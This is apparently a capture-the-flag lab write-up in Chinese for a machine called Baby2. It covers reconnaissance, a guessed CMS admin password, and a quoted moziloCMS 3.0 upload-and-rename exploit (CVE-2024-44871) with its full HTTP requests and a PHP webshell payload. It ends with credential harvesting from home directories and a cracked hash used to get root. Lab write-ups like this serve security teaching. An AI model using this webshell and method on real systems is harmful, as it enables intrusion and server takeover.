Baby2

信息搜集

nmap

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Site doesn't have a title (text/html).
```

gobuster

```
/index.html           (Status: 200) [Size: 144]
/wordpress            (Status: 301) [Size: 318] [-->
http://192.168.88.69/wordpress/]
```

index 看一眼

```
index
<!-- The new password does not comply with the rules (at least 8 characters,
small and large letters and numbers). -->
<!-- Admin***  -->
```

直接提示密码了，古法识别下

```
-> % whatweb http://192.168.88.69/wordpress/
http://192.168.88.69/wordpress/admin/ [200 OK] Apache[2.4.62],
Cookies[MOZILOID_29e50724e2f919927ef730829bca63c3], Country[RESERVED][ZZ], Frame,
HTML5, HTTPServer[Debian Linux][Apache/2.4.62 (Debian)], IP[192.168.88.69],
JQuery[1.8.3], PasswordField[password], Script, Title[moziloCMS Admin - Login]
```

moziloCMS，总之先拿下后台，账密稍微试一下就知道了 `admin:Admin123`

这信息搜集阶段就搞定一小半

webshell

根据上后台一看版本，3.0，古法搜索下往期漏洞

```
-> % searchsploit mozilo
---------------------------------------------------------------------------------------
----- ----------------------------------
 Exploit Title
     |  Path
---------------------------------------------------------------------------------------
----- ----------------------------------
moziloCMS 1.10.1 - 'download.php' Arbitrary Download File
      | php/webapps/6194.pl
moziloCMS 1.11 - Local File Inclusion / Full Path Disclosure / Cross-Site
Scripting   | php/webapps/8394.txt
moziloCMS 2.0 - Persistent Cross-Site Scripting (Authenticated)
      | php/webapps/48781.txt
MoziloCMS 3.0 - Remote Code Execution (RCE)
      | php/webapps/52096.NA
---------------------------------------------------------------------------------------
----- ----------------------------------
Shellcodes: No Results
```

有个 rce

```
-> % cat ./exploits/php/webapps/52096.NA
# Exploit Title: MoziloCMS 3.0 - Remote Code Execution (RCE)
# Date: 10/09/2024
# Exploit Author: Secfortress (https://github.com/sec-fortress)
# Vendor Homepage: https://mozilo.de/
# Software Link:
https://github.com/moziloDasEinsteigerCMS/mozilo3.0/archive/refs/tags/3.0.1.zip
# Version: 3.0
# Tested on: Debian
# Reference: https://vulners.com/cve/CVE-2024-44871
# CVE : CVE-2024-44871

"""
################
# Description  #
################

MoziloCMS version 3.0 suffers from an arbitrary file upload vulnerability
in the component "/admin/index.php" which allows an authenticated attacker
to execute arbitrary code on the "Files" session by uploading a maliciously
crafted .JPG file and subsequently renaming its extension to .PHP using the
application's renaming function.

####################
# PoC for webshell  #
####################

Steps to Reproduce:

1. Login as admin
2. Go to the Files session by the left menu
3. Create a .jpg file with it content having a php web shell
4. Upload the file to the server via the upload icon and save
```

5. Rename the file to .php on the web server and save
6. Access webshell via this endpoint :
http://127.0.0.1/mozilo3.0-3.0.1/kategorien/Willkommen/dateien/revshell.php

==========
Request 1 => Upload File: #
==========

```
POST /mozilo3.0-3.0.1/admin/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
Firefox/115.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------186462060042780927583949521447
Content-Length: 607
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer:
http://127.0.0.1/mozilo3.0-3.0.1/admin/index.php?
nojs=true&action=files&multi=true
Cookie: mozilo_editor_settings=true,false,mozilo,12px;
3f57633367583b9bf11d8e979ddc8e2b=gucvcppc86c62nnaefqjelq4ep;
PHPSESSID=p7qq7p1t9sg9ke03mnrp48ir5b;
MOZILOID_24b094c9c2b05ae0c5d9a85bc52a8ded=8civmp61qbc8hmlpg82tit1noo
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------186462060042780927583949521447
Content-Disposition: form-data; name="curent_dir"

Willkommen
-----------------------------186462060042780927583949521447
Content-Disposition: form-data; name="chancefiles"

true
-----------------------------186462060042780927583949521447
Content-Disposition: form-data; name="action"

files
-----------------------------186462060042780927583949521447
Content-Disposition: form-data; name="files[]"; filename="revshell.jpg"
Content-Type: image/jpeg

<?=`$_GET[0]`?>

-----------------------------186462060042780927583949521447--
```

==========
Request 2 => Rename File: #

```
============================

POST /mozilo3.0-3.0.1/admin/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
Firefox/115.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 98
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer:
http://127.0.0.1/mozilo3.0-3.0.1/admin/index.php?
nojs=true&action=files&multi=true
Cookie: mozilo_editor_settings=true,false,mozilo,12px;
3f57633367583b9bf11d8e979ddc8e2b=gucvcppc86c62nnaefqjelq4ep;
PHPSESSID=p7qq7p1t9sg9ke03mnrp48ir5b;
MOZILOID_24b094c9c2b05ae0c5d9a85bc52a8ded=8civmp61qbc8hmlpg82tit1noo
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

action=files&newfile=revshell.php&orgfile=revshell.jpg&curent_dir=Willkommen&cha
ngeart=file_rename


####################
# Webshell access: #
####################

# Wenshell access via curl:

curl
http://127.0.0.1/mozilo3.0-3.0.1/kategorien/Willkommen/dateien/revshell.php?
0=whoami

# Output:

www-data

"""
```

原地复现下

实际网页点点乐测试下，还可以发现这文件校验还是前端校验的

拿下 webshell

提权

```
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ls -la /home
total 16
drwxr-xr-x  4 root     root     4096 Oct 13 05:55 .
drwxr-xr-x 18 root     root     4096 Mar 18  2025 ..
drwxr-xr-x  2 aristore aristore 4096 Oct 13 06:01 aristore
drwxr-xr-x  2 tuf      tuf      4096 Oct 13 06:00 tuf
```

直接能读用户目录，那就全读一遍

```
$ cat /home/*/*
flag{user-b6cc0757c4a3108795d0803f9e82b9d3}
aristore:aristorearistore
```

ssh 上 `aristore`

```
aristore@Baby2:~$ cat user.txt
flag{fake-flag}
```

坏猫!

```
aristore@Baby2:~$ which cat
/usr/bin/cat
aristore@Baby2:~$ cat /usr/bin/cat
#!/bin/bash

[[ "$1" == user.txt ]] && echo "flag{fake-flag}" && exit 1
/usr/bin/cat2 "$@"

# b4b8daf4b8ea9d39568719e1e320076f
```

这脚本屁股后面有个 hash：`b4b8daf4b8ea9d39568719e1e320076f`

本地跑出来是 `rootroot`

直接上 root 就完事

```
aristore@Baby2:~$ su
Password:
root@Baby2:/home/aristore# id
uid=0(root) gid=0(root) groups=0(root)
```